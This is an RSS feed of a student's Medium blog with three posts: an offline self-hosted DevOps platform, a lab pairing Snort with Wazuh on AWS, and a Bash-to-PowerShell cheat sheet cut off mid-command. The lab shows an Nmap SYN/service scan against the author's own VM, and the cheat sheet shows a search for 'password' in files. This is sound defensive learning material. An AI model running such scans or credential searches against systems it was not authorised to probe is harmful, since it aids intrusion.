<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nikhil Shakya on Medium]]></title>
        <description><![CDATA[Stories by Nikhil Shakya on Medium]]></description>
        <link>https://medium.com/@nikhilshakya0905?source=rss-c82c46aa41ad------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*no3vg8nQNz7SZsYxYTizYg.jpeg</url>
            <title>Stories by Nikhil Shakya on Medium</title>
            <link>https://medium.com/@nikhilshakya0905?source=rss-c82c46aa41ad------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 05:23:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nikhilshakya0905/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Offline-First DevOps Platform That Works Locally Without the Internet | ForgeOps]]></title>
            <link>https://medium.com/@nikhilshakya0905/offline-first-devops-platform-that-works-locally-without-the-internet-forgeops-21663331b3e7?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/21663331b3e7</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[jenkins]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[ci-cd-pipeline]]></category>
            <category><![CDATA[github]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Sun, 17 May 2026 21:43:02 GMT</pubDate>
            <atom:updated>2026-05-19T21:33:25.870Z</atom:updated>
            <content:encoded><![CDATA[<p>A fully self-hosted, containerized DevOps environment that operates completely offline with automatic synchronization to GitHub when connectivity is restored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xXl76GtE9OB78NfzU1y8PA.png" /></figure><p><strong>Github Link: </strong><a href="https://github.com/Nikhil0905/ForgeOps-Offline-First-DevOps-Platform"><em>Nikhil0905/ForgeOps</em></a></p><p>Let me set the scene.</p><p>It’s past midnight. My terminal is throwing errors I’ve never seen before. My Jenkins container refuses to talk to my Gitea container even though they’re literally on the same machine. A Docker network I named forgeops-net exists, I can see it, but somehow the services are acting like strangers at a party, standing in the same room and ignoring each other completely.</p><p>I had instant noodles going cold next to my keyboard.</p><p>This is the part of building things that nobody posts about.</p><h3>Why I Even Did This</h3><p>My project needed to be something real. Not a to-do app. Not a CRUD dashboard with a stock photo background. Something that solved an actual problem that actual engineers lose sleep over.</p><p>Here’s the problem I chose: <strong>Most DevOps tools assume you have internet. What if you don’t?</strong></p><p>Think about it. When you run docker pullWhere does that image come from? The internet. When Jenkins runs a build and Maven needs a dependency, where does it go? The internet. When your pipeline starts, it quietly reaches out to dozens of external services you never even think about — npm registries, Maven Central, Docker Hub, GitHub APIs.</p><p>Now imagine you’re building software for a defense organization. A hospital network. A research lab in a remote location with spotty connectivity. A financial institution that legally cannot let its build servers touch the public internet.</p><p>Suddenly, your shiny cloud-native CI/CD pipeline is useless.</p><p>That gap between what modern DevOps assumes and what high-security environments actually need is exactly what I set out to close. I called it <strong>ForgeOps</strong>: an offline-first DevOps command center that works in complete isolation.</p><h3>What I Actually Built</h3><p>Let me be honest with you about the scope of this, because I want you to feel the weight of it.</p><p>ForgeOps is not one tool. It’s an entire ecosystem of tools stitched together, configured to trust each other, and made to work without a single outbound internet call.</p><p>Here’s what’s running under the hood:</p><ul><li><strong>Jenkins</strong> as the CI/CD brain — the thing that actually runs your builds and deployments</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CA9dFTh3OiCbpyAz5_esLw.png" /></figure><ul><li><strong>Gitea</strong> as the Git server — your own private GitHub, running locally</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uEGSENmam8MW55axtbfk3w.png" /></figure><ul><li><strong>Nexus Repository</strong> as the artifact warehouse — stores your build outputs, caches your dependencies</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yRjaJ-yafVLaMht-RLJYRA.png" /></figure><ul><li><strong>Docker Registry</strong> as the container image store — your own private Docker Hub</li><li><strong>Prometheus</strong> collects metrics from everything</li><li><strong>Grafana</strong> is turning those metrics into dashboards that actually make sense</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A_5TvYSd7cnq8nbdEutXJw.png" /></figure><ul><li><strong>Nginx</strong> sits in front of everything as a reverse proxy with SSL termination</li><li>And a <strong>custom-built unified dashboard</strong> I wrote myself in React and Flask, because I wanted a single screen that told me if everything was alive</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AD3dclZxoQjvqo1AUzONbw.png" /></figure><p>All of it runs via Docker Compose on a single machine. All of it talks to each other over an internal Docker bridge network called forgeops-net. Zero external dependencies.</p><p>When I finally got the whole stack running together, all services green, all health checks passing, I just sat there for a moment.</p><p><em>21 passed. 0 failed. 0 warnings.</em></p><h3>The Part Where It Got Hard</h3><p>Here’s the thing they don’t teach you in class: integration is where projects either grow up or fall apart.</p><p>Getting Jenkins to run? Easy. Getting Gitea to run? Also easy. Getting Jenkins to <em>automatically trigger a build the moment you push code to Gitea </em>without using GitHub, without using any external webhook service, purely through a locally-hosted webhook — that took me an embarrassingly long time to figure out.</p><p>The sequence of realization went something like:</p><blockquote><em>“Why isn’t Jenkins seeing my push?” </em>checks webhook settings<em> “Oh, Gitea is sending to localhost:8080 but Jenkins is… also localhost:8080 from Gitea’s perspective? Or is it the Docker hostname? Wait “ </em>opens three browser tabs<em> </em>reads Docker networking docs for 45 minutes<em> </em>facepalm</blockquote><p>Inside Docker networks, containers don’t refer to each other as localhost. Each container has a hostname and its service name.</p><p>So Gitea needed to call http://jenkins:8080 to reach Jenkins, not http://localhost:8080. Once I understood that, a whole class of mysterious networking failures suddenly made sense.</p><p>That single realization was probably the most valuable thing I learned in the entire project.</p><h3>The Celebration App: Because You Need to See It Work</h3><p>Every good platform needs a demo. Mine was the <strong>celebration-app, </strong>a simple Java web application whose only job was to display a “Mission Accomplished” screen when successfully deployed.</p><p>The point wasn’t the app. The point was watching the entire pipeline fire:</p><ol><li>Push code to Gitea</li><li>Gitea fires a webhook to Jenkins</li><li>Jenkins picks it up, spins up the build</li><li>Checks out the code ✓</li><li>Runs Maven build and tests ✓</li><li>Publishes the WAR file to Nexus ✓</li><li>Builds a Docker image using base images from the <em>local</em> registry ✓</li><li>Pushes the image to the <em>local</em> Docker registry ✓</li><li>Deploys the container ✓</li></ol><p>Total pipeline run: <strong>~7 seconds.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zf45dm5ZYWPYXt2Sorz5Mg.png" /></figure><p>No internet. No external services. No DNS lookups going outside the machine. Just pure, local, self-contained automation.</p><p>When the browser opened to localhost:9999 and showed me that &quot;Mission Accomplished&quot; screen platform was listed as ForgeOps v1.0 — Offline-First DevOps, status COMPLETED_SUCCESSFULLY, integrations Jenkins, Gitea, Nexus, Registry I will not pretend I wasn&#39;t grinning like an idiot at 2 AM.</p><h3>Numbers That Made Me Feel Good</h3><p>After running the platform for 30 days (because why not, the college’s machine was right there), here’s what I measured:</p><ul><li><strong>99.9%+ uptime</strong> across the entire stack</li><li><strong>Sub-3-minute build times</strong> for small projects</li><li><strong>&gt;50 MB/s artifact download speeds</strong> on local network (because of course it’s fast, it’s all local)</li><li><strong>Dashboard loads in under 2 seconds</strong></li><li><strong>Cold start</strong>: the entire platform comes up in under 5 minutes</li></ul><p>That last one matters. In a real air-gapped deployment, if something goes wrong at 3 AM and an admin needs to restart the whole stack, five minutes is the difference between a manageable incident and a catastrophic one.</p><h3>What Surprised Me</h3><p><strong>I didn’t expect monitoring to be the thing that saved me.</strong></p><p>I added Prometheus and Grafana early, almost as an afterthought, because they were part of the architecture I’d planned. But they ended up being invaluable during development itself. The moment I had dashboards showing build success rates and container health, I stopped guessing about what was wrong and started actually seeing it.</p><p>There’s a Grafana panel that shows a “Build Success Rate” gauge. During one particularly rough debugging session, it was sitting at 40%. Seeing that number stare back at me, concrete and red, was strangely motivating. It’s one thing to know your builds are failing. It’s another thing to watch a gauge scream 40% at you like a disappointed parent.</p><p>I got it to green eventually.</p><p><strong>I also didn’t expect documentation to be as hard as the code.</strong></p><p>Writing down <em>why</em> certain decisions were made, why Jenkins is configured this way, why Nginx routes are set up that way, and why the Nexus proxy cache is configured the way it is takes real cognitive effort. But in an air-gapped environment, that documentation is everything. If something breaks and you can’t Google the answer, you&#39;d better have written it down.</p><h3>If You’re Building Something Like This</h3><p>A few things I wish someone had told me:</p><p><strong>Container networking is its own subject.</strong> Don’t assume localhost means what you think it means inside Docker. Read the networking docs before you need them, not after.</p><p><strong>Start monitoring on day one.</strong> Not day fifteen when you’re debugging production. Day one. It’s not overhead, it’s your eyes.</p><p><strong>Configuration as Code is not optional; it’s survival.</strong> Jenkins CasC, Docker Compose declarations, Nginx configs checked into Git — if your platform can’t be reproduced from a git clone And with a single command, you haven&#39;t built a platform, you&#39;ve built a snowflake.</p><p><strong>Document the <em>why</em>, not just the <em>what</em>.</strong> Future you will thank you. In an offline environment, the future you is the only one who can.</p><h3>The Stack, If You’re Curious</h3><p>Jenkins 2.541.3 LTS · Gitea 1.21 · Nexus Repository OSS 3.x · Docker Registry 2.8 · Prometheus 2.x · Grafana 10.x · Nginx 1.25 · Python/Flask · React 18 · Docker Compose 2.20+ · Ubuntu Linux</p><h3>One Last Thing</h3><p>When I submitted this project, the deployment verification page — the “Mission Accomplished” screen — had a timestamp on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lxlYd2VTpQGktmqUsUCICA.png" /></figure><p><em>Deployed at: 14 May 2026, 01:11:43</em></p><p>1 in the morning. Alone at my desk. A terminal full of green checkmarks and a machine quietly humming, serving a fully automated DevOps platform to itself, needing nothing from the outside world.</p><p>That’s the moment I think I became an engineer. Not when I wrote my first line of code. Not when I passed my first exam. When I built something real, watched it work, and understood exactly why it worked.</p><p><em>If you’re building something in the DevOps, infrastructure, or open-source security space and want to talk, I’m always up for it. This project is on GitHub (</em><a href="https://github.com/Nikhil0905/ForgeOps-Offline-First-DevOps-Platform"><em>Nikhil0905/ForgeOps</em></a><em>). Pull requests welcome. Stars appreciated. Issues even more so.</em></p><p><strong>Tags:</strong> DevOps Docker Jenkins CI/CD Open Source Infrastructure Air-Gapped Student Projects Linux Cloud Native</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21663331b3e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Wazuh Alone Is Not Enough: Building a Real Detection Pipeline with Snort]]></title>
            <link>https://medium.com/@nikhilshakya0905/why-wazuh-alone-is-not-enough-building-a-real-detection-pipeline-with-snort-ff17600880ba?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff17600880ba</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[snort]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Wed, 06 May 2026 23:05:01 GMT</pubDate>
            <atom:updated>2026-05-07T22:14:22.946Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLUG9jKZtFe19KODECeWUQ.png" /></figure><h3>1. Introduction: The Misconception Most Beginners Have</h3><p>When I first started learning about Wazuh, it looked like a complete security solution.</p><p>It provided:</p><ul><li>SIEM</li><li>HIDS</li><li>XDR-like capabilities</li><li>File Integrity Monitoring</li><li>Vulnerability Detection</li><li>Active Response</li><li>Centralized Logging</li></ul><p>At first, I genuinely thought:</p><pre>“If Wazuh already detects attacks, why do people still use Snort or other IDS tools?”</pre><p>This question pushed me to build my own small SOC-style lab environment to understand how modern detection systems actually work.</p><p>What I discovered completely changed my understanding of cybersecurity monitoring.</p><h3>2. The Core Problem — No Security Tool Can See Everything</h3><p>Modern attacks do not happen in just one place.</p><p>Attackers operate across:</p><ul><li><strong>network traffic</strong></li><li><strong>protocols</strong></li><li><strong>applications</strong></li><li><strong>endpoints</strong></li><li><strong>authentication systems</strong></li><li><strong>memory</strong></li><li><strong>cloud services</strong></li></ul><p>And every security tool only sees part of the attack surface.</p><h3>3. Understanding What Wazuh Actually Sees</h3><p>Wazuh is excellent for:</p><ul><li>endpoint monitoring</li><li>log analysis</li><li>authentication tracking</li><li>compliance monitoring</li><li>vulnerability detection</li><li>centralized alert correlation</li></ul><p>It mainly works using:</p><ul><li><strong>logs</strong></li><li><strong>agents</strong></li><li><strong>endpoint telemetry</strong></li></ul><p>This means Wazuh is extremely good at understanding what is happening <em>inside</em> the system.</p><p>For example:</p><ul><li>failed SSH logins</li><li>suspicious processes</li><li>file changes</li><li>web server logs</li><li>privilege escalation attempts</li></ul><p>To <strong>setup Wazuh on AWS</strong>, go through this blog, which has complete documented steps and experience shared — <a href="https://medium.com/@nikhilshakya0905/setting-up-wazuh-on-aws-two-ec2-instances-real-time-file-monitoring-and-what-actually-went-wrong-b491ef570622"><strong><em>Wazuh setup blog</em></strong></a></p><h3>4. The Visibility Problem</h3><p>However, I realized something important during practical testing:</p><pre>Wazuh does not deeply inspect raw network packets like a dedicated IDS.</pre><p>This creates visibility gaps.</p><p>For example:</p><ul><li><strong>port scans</strong></li><li><strong>exploit payloads</strong></li><li><strong>protocol anomalies</strong></li><li><strong>DNS tunneling</strong></li><li><strong>suspicious traffic patterns</strong></li></ul><p>may not always appear clearly through endpoint logs alone.</p><p>This is where Snort becomes important.</p><h3>5. What Snort Does Differently</h3><p>Snort focuses on:</p><ul><li><strong>packet inspection</strong></li><li><strong>protocol analysis</strong></li><li><strong>traffic signatures</strong></li><li><strong>exploit detection</strong></li><li><strong>network behavior analysis</strong></li></ul><p>Instead of analyzing logs, Snort analyzes:</p><ul><li><strong>packets</strong></li><li><strong>payloads</strong></li><li><strong>traffic flows</strong></li><li><strong>protocol structures</strong></li></ul><h3>6. The Best Analogy That Helped Me Understand</h3><pre>Wazuh is like a security guard inside a building.<br>Snort is like CCTV cameras watching roads and entrances outside the building.</pre><p>The guard inside may know:</p><ul><li><strong>Who logged in</strong></li><li><strong>What file changed</strong></li><li><strong>What service started</strong></li></ul><p>But CCTV cameras detect:</p><ul><li>suspicious movement</li><li>reconnaissance activity</li><li>intrusion attempts</li><li>unusual traffic patterns</li></ul><p>Both perspectives are necessary.</p><h3>7. Objective of This Lab</h3><p>The goal of this project was not just installing tools.</p><p>The real objective was understanding:</p><ul><li><strong>why layered security matters</strong></li><li><strong>how SIEM and IDS complement each other</strong></li><li><strong>how modern SOCs combine multiple telemetry sources</strong></li></ul><h3>8. My Lab Architecture</h3><p>I built the following environment:</p><pre>[Kali Linux VM]<br>        ↓<br>[Nmap Recon &amp; Scanning]<br>        ↓<br>[Ubuntu VM]<br>   ├── Snort IDS<br>   ├── Wazuh Agent<br>   ├── Syslog<br>   ├── nginx Logs<br>   └── Authentication Logs<br>        ↓<br>[AWS EC2 Wazuh Server]<br>        ↓<br>Centralized SIEM Dashboard</pre><h3>📸 Screenshot of LAB Machines</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CLj8ZakhuTGv29WSTlynfg.png" /></figure><ul><li><strong>Kali VM</strong></li><li><strong>Ubuntu VM</strong></li><li><strong>AWS Wazuh Dashboard</strong></li></ul><h3>9. Setting Up Wazuh on AWS</h3><p>I deployed the Wazuh server on an AWS EC2 instance.</p><p>The setup included:</p><ul><li><strong>EC2 deployment</strong></li><li><strong>Security Group configuration</strong></li><li><strong>opening ports:1514, 1515, 443</strong></li><li><strong>remote dashboard access</strong></li></ul><p>This helped me understand:</p><ul><li><strong>cloud networking</strong></li><li><strong>Security Groups</strong></li><li><strong>centralized SIEM deployment</strong></li><li><strong>remote monitoring architecture</strong></li><li><strong>AWS EC2 dashboard</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iLy1SeYvnv8rDtq_Ks2X4g.png" /></figure><ul><li><strong>Security Group rules</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6VVXN2zhro0y6lIrnPXWBg.png" /></figure><ul><li><strong>Wazuh login page</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3GyJyQfRJJhDnlkABAYPaA.png" /></figure><h3>10. Installing Wazuh Agent on Ubuntu VM</h3><p>Next, I installed the Wazuh agent inside my Ubuntu VM and connected it with the AWS server.</p><p>Once connected successfully, the Ubuntu endpoint started sending:</p><ul><li><strong>logs</strong></li><li><strong>authentication events</strong></li><li><strong>system telemetry</strong></li><li><strong>service activity</strong></li></ul><p>to the centralized SIEM dashboard.</p><ul><li><strong>agent_control -l</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BH_yJLs0nf2lSfC_n51-rw.png" /></figure><ul><li><strong>Wazuh dashboard showing active endpoint</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yaQA7aKgBnl7wchaeVOdpA.png" /></figure><h3>11. Installing and Configuring Snort</h3><p>After setting up Wazuh, I installed Snort inside the Ubuntu VM.</p><p>This part was extremely educational because I faced multiple real-world issues:</p><ul><li>confusion between Snort 2 and Snort 3</li><li>rule syntax errors</li><li>log output configuration</li><li>network interface problems</li></ul><p>I configured:</p><ul><li>custom local rules</li><li>fast alert logging</li><li>IDS event generation</li></ul><h3>12. Creating Detection Rules</h3><p>I created rules for:</p><ul><li><strong>ICMP detection</strong></li><li><strong>SSH connection detection</strong></li><li><strong>FTP connection detection</strong></li><li><strong>SQL injection detection</strong></li><li><strong>suspicious DNS traffic</strong></li></ul><p>This helped me understand:</p><ul><li>How IDS signatures work</li><li>How packet matching happens</li><li>How protocol-based detection is performed</li><li><strong>local.rules file</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*_7L7NbTIRcvPB0pAzsVZ_g.png" /></figure><ul><li><strong>Snort terminal generating alerts</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*1MxsofaiuEnn4agriylGfA.png" /></figure><h3>13. Integrating Snort with Wazuh</h3><p>This was the most important part of the project.</p><p>I configured Wazuh to monitor:</p><pre>/var/log/snort/snort.alert.fast</pre><p>Now the pipeline became:</p><pre>Network Traffic<br>      ↓<br>Snort Detection<br>      ↓<br>Snort Alert Logs<br>      ↓<br>Wazuh Agent<br>      ↓<br>AWS Wazuh Server<br>      ↓<br>Centralized Dashboard</pre><p>At this point, Wazuh and Snort started working together.</p><ul><li><strong>ossec.conf configuration</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KsNnkty97_covnztdR_PUw.png" /></figure><ul><li><strong>Snort alert log</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*1MxsofaiuEnn4agriylGfA.png" /></figure><ul><li><strong>Wazuh is receiving IDS events</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCjIffpQBWqhKxUJ4l1KsQ.png" /></figure><h3>14. Simulating a Real Attack</h3><p>To test the setup, I launched reconnaissance scans from my Kali VM using:</p><pre>nmap -sS -sV &lt;target-ip&gt;</pre><p>This generated:</p><ul><li>SYN scans</li><li>service enumeration</li><li>web probing</li><li>protocol fingerprinting</li></ul><p>against the Ubuntu target machine.</p><ul><li><strong>Kali terminal running Nmap scan</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iS13BwmVeRj1c__7mwA1HA.png" /></figure><h3>15. What Snort Detected</h3><p>Snort detected:</p><ul><li>IDS events</li><li>suspicious scan behavior</li><li>unusual network activity</li></ul><p>These detections came directly from packet analysis.</p><h3>16. What Wazuh Detected</h3><p>At the same time, Wazuh detected:</p><ul><li>telnet connection logs</li><li>web server access logs</li><li>HTTP errors</li><li>authentication events</li><li>service activity</li></ul><p>This telemetry came from endpoint logs.</p><ul><li><strong>Wazuh IDS events</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCjIffpQBWqhKxUJ4l1KsQ.png" /></figure><ul><li><strong>telnetd alerts</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSs9o3BMflZupiQguEYYHQ.png" /></figure><ul><li><strong>nginx/web logs</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YsPUc5J2HFhX8f4bjrEuVg.png" /></figure><ul><li><strong>scan-related detections</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ls4JxTfjXbi29lzqimcz-w.png" /></figure><h3>17. The Biggest Realization</h3><p>This was the moment everything became clear to me.</p><pre><strong>Snort and Wazuh were seeing different parts of the same attack.</strong></pre><p><strong>Snort understood:</strong></p><ul><li>traffic</li><li>packets</li><li>scanning behavior</li></ul><p><strong>Wazuh understood:</strong></p><ul><li>services</li><li>logs</li><li>authentication</li><li>endpoint activity</li></ul><p>Together, they created a much more complete security picture.</p><h3>18. Why Enterprises Use Multiple Security Tools</h3><p>Modern SOCs never rely on a single telemetry source.</p><p><strong>Real-world environments combine:</strong></p><ul><li>IDS</li><li>EDR</li><li>SIEM</li><li>SOAR</li><li>Threat Intelligence</li><li>Endpoint Monitoring</li><li>Network Telemetry</li></ul><p>because attackers exploit multiple layers simultaneously.</p><h3>19. Detection vs Prevention</h3><p>This setup improved both:</p><ul><li>visibility</li><li>response capability</li></ul><h3>Detection Improvements</h3><p>I could now detect:</p><ul><li>port scans</li><li>suspicious connections</li><li>reconnaissance activity</li><li>protocol abuse</li><li>abnormal requests</li></ul><h3>Prevention Possibilities</h3><p>With Wazuh Active Response, the environment could eventually:</p><ul><li>block malicious IPs</li><li>stop brute-force attacks</li><li>isolate suspicious systems</li><li>automate defensive actions</li></ul><h3>20. Lessons Learned</h3><h3>Technical Lessons</h3><ul><li>SIEM is not the same as IDS</li><li>endpoint visibility is different from network visibility</li><li>packet inspection is extremely important</li><li>centralized logging improves investigations</li></ul><h3>Practical Lessons</h3><ul><li>troubleshooting teaches the most</li><li>integrations are harder than installations</li><li>Security Groups matter</li><li>log parsing matters</li><li>telemetry correlation is powerful</li></ul><h3>21. Final Conclusion</h3><p>Before building this lab, I thought Wazuh alone was enough.</p><p>After integrating Snort and performing live attack simulations, I realized something much deeper:</p><pre>Security is not about finding one powerful tool.<br>It is about combining multiple visibility sources to reduce blind spots.</pre><p>Snort and Wazuh are not competitors.</p><p>They are complementary layers in a defense-in-depth architecture.</p><h3>Final Takeaway</h3><pre>A SOC becomes powerful not when it has the most tools,<br>but when those tools complement each other effectively.</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff17600880ba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Know Bash… But PowerShell Looks Like Paragraph Codes ]]></title>
            <link>https://medium.com/@nikhilshakya0905/i-know-bash-but-powershell-looks-like-paragraph-codes-e571c7790b13?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/e571c7790b13</guid>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[bash]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Fri, 01 May 2026 00:21:17 GMT</pubDate>
            <atom:updated>2026-05-01T00:21:17.692Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*8ImDa28phOQC0HA5WMlF0w.png" /></figure><p>When I first opened PowerShell, I literally thought it was a joke.</p><pre>Get-ChildItem -Recurse -Filter *.config | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)}</pre><p>I stared at this for like 5 minutes. Seriously.</p><p>“What is this? Why would anyone write like this? Why can’t I just use Bash?”</p><p>I’m a Bash guy. I grew up on Linux terminals. I know how to pipe commands, I understand grep, and I can sed my way out of any problem. Bash is my home. It’s clean. It’s quick. It’s beautiful.</p><p>And then I got to work on Windows Active Directory Configuration, where I had to use PowerShell a lot.</p><p>And that’s when PowerShell became unavoidable.</p><h3>The Fear Was Real</h3><p>I remember thinking PowerShell was this separate, complex language I’d have to learn from scratch. Like learning Python when you only know JavaScript.</p><p>Every command looked like a novel. Every parameter had a parameter. Everything was so… long.</p><p>In Bash, I’d do:</p><pre>find . -name &quot;*.log&quot; -mtime -7</pre><p>Four words. Clean. Done.</p><p>But PowerShell wanted me to type out full sentences like I was writing an email to the command line.</p><p>I genuinely believed I’d need weeks to get comfortable. Maybe months.</p><p>“How am I going to remember all these command names?” I kept asking myself. “This is crazy.”</p><p>I was intimidated. I’m not gonna lie.</p><h3>The Turning Point: Day 2</h3><p>But then something clicked.</p><p>It happened on day 2 when I was messing around, and I typed Get- and pressed Tab.</p><p>PowerShell autocompleted it.</p><p>I pressed Tab again. It cycled to the next command.</p><p>And again. Another command.</p><p>I just kept pressing Tab and watching all these commands appear. Get-Process, Get-Content, Get-Service, Get-ChildItem...</p><p>And that’s when I realized something:</p><p><strong>These names aren’t arbitrary. They follow a pattern.</strong></p><p>Get means &quot;show me this thing.&quot; Set means &quot;change this.&quot; Remove means &quot;delete this.&quot; Where means &quot;filter for this.&quot;</p><p>It wasn’t complicated. It was just… explicit.</p><p>My mind literally went: “Oh. OH. This is just Bash, but using full English words instead of abbreviations.”</p><p>Everything I already knew from Bash was here. Just with different vocabulary.</p><h3>What I Wish I Knew On Day 1</h3><p>If someone had told me on day 1: “You already know 80% of this. You just need new vocabulary,” I would’ve saved myself so much anxiety.</p><p>The fear wasn’t warranted. The complexity wasn’t real. The difficulty was entirely in my own head, created by unfamiliarity.</p><p>Once I started treating PowerShell as “Bash with longer command names,” everything became manageable.</p><p>Within a few days (let’s say 3–4 days), I went from “this is impossible” to “okay, I can actually use this for real work.” Not mastery. Not an expert. But functional. Comfortable with the basics and picking up intermediate commands.</p><p>And honestly? I’m still learning. PowerShell is deep. There’s so much more beyond what I use daily. But the core stuff? The basics to intermediate commands that actually matter for pentesting and daily work? I got that down in a few days.</p><p>I’m not gonna claim I’m some PowerShell guru now. I’m not. I was terrified and confused, and now I’m comfortable enough to think on my feet and figure things out as I go.</p><p>And I’m still learning every week. But that’s the point — you don’t need to learn everything. You just need to learn enough to be dangerous.</p><p><strong>I wasn’t doing anything special</strong>. I was just:</p><ul><li><strong><em>Pressing Tab to discover commands</em></strong></li><li><strong><em>Comparing Bash equivalents to PowerShell</em></strong></li><li><strong><em>Actually running the commands instead of just reading about them</em></strong></li><li><strong><em>Accepting that it’s just different, not harder</em></strong></li></ul><p>That’s it.</p><p>The point isn’t that I’m now a PowerShell expert. The point is that the barrier to entry is way lower than I thought. Basics to intermediate commands? A few days. Everything else? That comes with time and practice.</p><h3>Now Here’s What I Actually Use Every Day</h3><p>This is the stuff that matters. The commands you’ll actually run when you’re doing real work.</p><h3>🧠 Navigation &amp; File System</h3><pre># Where am I?<br>pwd<br>Get-Location</pre><pre># List files<br>ls -la<br>Get-ChildItem<br>Get-ChildItem -Force</pre><pre># List recursively<br>find .<br>Get-ChildItem -Recurse</pre><pre># Change directory<br>cd /path<br>Set-Location C:\path</pre><pre># Create file<br>touch file.txt<br>New-Item file.txt</pre><pre># Create folder<br>mkdir folder<br>New-Item -ItemType Directory folder</pre><pre># Delete file<br>rm file.txt<br>Remove-Item file.txt</pre><pre># Delete folder (recursive)<br>rm -r folder<br>Remove-Item folder -Recurse</pre><pre># Copy file<br>cp a.txt b.txt<br>Copy-Item a.txt b.txt</pre><pre># Copy recursively<br>cp -r src dst<br>Copy-Item src -Recurse -Destination dst</pre><pre># Move/rename<br>mv old.txt new.txt<br>Move-Item old.txt new.txt</pre><h3>📄 File Content</h3><pre># Read file<br>cat file.txt<br>Get-Content file.txt</pre><pre># Show first 10 lines<br>head -10 file.txt<br>Get-Content file.txt -Head 10</pre><pre># Show last 10 lines<br>tail -10 file.txt<br>Get-Content file.txt -Tail 10</pre><pre># Write/overwrite<br>echo &quot;data&quot; &gt; file.txt<br>Set-Content file.txt &quot;data&quot;</pre><pre># Append<br>echo &quot;data&quot; &gt;&gt; file.txt<br>Add-Content file.txt &quot;data&quot;</pre><pre># Clear file<br>&gt; file.txt<br>Clear-Content file.txt</pre><pre># Search in file<br>grep &quot;text&quot; file.txt<br>Get-Content file.txt | Select-String &quot;text&quot;</pre><h3>🔍 Searching &amp; Filtering</h3><pre># Search text in files<br>grep &quot;password&quot; *.txt<br>Select-String &quot;password&quot; *.txt</pre><pre># Case-insensitive search<br>grep -i &quot;error&quot; *.log<br>Select-String &quot;error&quot; *.log -CaseSensitive:$false</pre><pre># Search recursively<br>grep -r &quot;text&quot; .<br>Select-String &quot;text&quot; . -Recurse</pre><pre># Find files by name<br>find . -name &quot;*.config&quot;<br>Get-ChildItem -Filter *.config -Recurse</pre><pre># Find by extension<br>find . -name &quot;*.exe&quot;<br>Get-ChildItem -Filter *.exe -Recurse</pre><pre># Find by modification time<br>find . -mtime -7<br>Get-ChildItem -Recurse | Where-Object {$_.LastWriteTime -gt 